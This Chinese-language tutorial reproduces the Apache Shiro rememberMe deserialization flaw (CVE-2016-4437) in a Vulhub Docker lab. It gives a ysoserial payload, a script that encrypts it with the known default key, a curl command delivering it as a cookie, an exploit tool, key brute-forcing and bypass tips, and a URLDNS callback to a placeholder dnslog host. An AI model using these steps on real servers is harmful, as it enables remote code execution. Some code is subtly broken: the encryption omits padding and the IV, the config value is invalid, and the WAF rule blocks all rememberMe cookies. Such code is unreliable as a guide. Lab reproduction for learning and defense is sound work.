Kali Linux下5分钟搞定Shiro反序列化漏洞复现(附Docker Compose V2最新配置)
Kali Linux实战:Shiro反序列化漏洞环境搭建与自动化利用
在渗透测试领域,Apache Shiro框架的反序列化漏洞(CVE-2016-4437)一直是企业安全评估中的重点检查项。这个漏洞之所以危险,不仅因为它的影响范围广,更因为它能直接导致远程代码执行。本文将带你用最新技术栈在Kali Linux上快速搭建漏洞环境,并介绍几种高效的验证方法。
1. 漏洞原理与技术背景
Shiro框架的"记住我"功能本质上是一把双刃剑。当用户勾选这个选项时,系统会执行以下流程:
- 用户凭证 → Java序列化 → AES加密 → Base64编码 → RememberMe Cookie
- 服务端接收后逆向处理:Base64解码 → AES解密 → 反序列化
问题出在Shiro 1.2.4及更早版本中使用了硬编码的默认密钥kPH+bIxk5D2deZiIxcaaaA==。攻击者一旦获取这个密钥,就能构造恶意的序列化数据,最终实现RCE(远程代码执行)。
关键风险点:
- 使用已知默认密钥
- 缺乏密钥轮换机制
- 反序列化过程未做安全过滤
实际测试中发现,即使目标系统修改了默认密钥,只要密钥强度不足,仍然可能通过暴力破解方式获取。
2. 现代化环境搭建
传统的手工搭建方式既耗时又容易出错。下面介绍基于Docker Compose V2的一键式部署方案,这是目前最稳定高效的漏洞复现方法。
2.1 环境准备
确保你的Kali Linux已更新到最新版本:
sudo apt update && sudo apt upgrade -y
安装必要的依赖:
sudo apt install -y wget unzip git
2.2 Docker引擎安装
Docker现在提供了更简洁的安装方式:
curl -fsSL https://get.docker.com | sudo sh
验证安装:
sudo docker version --format '{{.Server.Version}}'
配置当前用户免sudo执行docker命令:
sudo usermod -aG docker $USER
newgrp docker
2.3 Vulhub靶场部署
获取最新版Vulhub:
wget https://github.com/vulhub/vulhub/archive/refs/heads/master.zip -O vulhub.zip
unzip vulhub.zip
cd vulhub-master/shiro/CVE-2016-4437
启动靶机环境(使用Compose V2语法):
docker compose build --no-cache && docker compose up -d
常见问题解决:
| 问题现象 | 解决方案 |
|---|---|
| 端口冲突 | 修改docker-compose.yml中的8080端口 |
| 构建失败 | 执行docker system prune -a后重试 |
| 网络超时 | 更换Docker镜像源为国内仓库 |
环境就绪后,访问http://localhost:8080应该能看到Shiro示例页面。
3. 漏洞验证技术
3.1 基础验证方法
使用Burp Suite拦截登录请求:
- 勾选Remember Me选项
- 任意输入用户名/密码
- 检查响应头中是否包含
rememberMe=deleteMe
高级技巧:
curl -v -X POST --data "username=test&password=test&rememberMe=1" http://localhost:8080/login
3.2 自动化利用工具
推荐使用改进版的ShiroExploit:
git clone https://github.com/feihong-cs/ShiroExploit.git
cd ShiroExploit
pip3 install -r requirements.txt
python3 ShiroExploit.py -u http://localhost:8080
工具功能对比:
| 工具名称 | 优点 | 缺点 |
|---|---|---|
| ShiroExploit | 支持多种利用链 | 需要Python环境 |
| shiro_attack | 图形化界面 | 依赖Java环境 |
| ysoserial | 高度定制化 | 使用复杂 |
3.3 手工利用流程
生成payload:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > payload
加密payload:
from Crypto.Cipher import AES
import base64
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, b'0123456789abcdef')
with open("payload", "rb") as f:
encrypted = cipher.encrypt(f.read())
print(base64.b64encode(encrypted).decode())
发送恶意cookie:
curl -H "Cookie: rememberMe=$(python3 encrypt.py)" http://localhost:8080
4. 防御与加固方案
4.1 企业级防护措施
-
密钥管理:
// 在shiro.ini中配置 securityManager.rememberMeManager.cipherKey = ${randomBase64(32)} -
版本升级:
- 立即升级到Shiro 1.7.0+
- 禁用有风险的依赖项:
<exclusions> <exclusion> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> </exclusion> </exclusions>
-
WAF规则示例:
location / { if ($http_cookie ~* "rememberMe=[^;]+") { set $shiro_check "${shiro_check}1"; } if ($shiro_check = "1") { return 403; } }
4.2 检测脚本
Python版自动化检测工具:
import requests
from base64 import b64encode
TARGETS = ['http://example.com/login']
KEY_LIST = ['kPH+bIxk5D2deZiIxcaaaA==', '2AvVhdsgUs0FSA3SDFAdag==']
def check_shiro(url):
try:
r = requests.post(url, data={'rememberMe':1}, timeout=5)
return 'rememberMe=deleteMe' in str(r.headers)
except:
return False
5. 实战技巧与经验分享
在真实渗透测试中,我们发现几个提高成功率的关键点:
-
密钥爆破优化:
- 先尝试常见密钥列表
- 使用多线程加速爆破过程
- 关注响应时间差异判断是否有效
-
利用链选择:
- 优先尝试CommonsBeanutils1
- 失败后测试其他gadget链
- 注意目标系统的JDK版本
-
绕过技巧:
# 使用DNS外带验证 java -jar ysoserial.jar URLDNS "http://yourdnslog.com" > payload
记得每次测试后清理环境:
docker compose down --volumes
更多推荐
所有评论(0)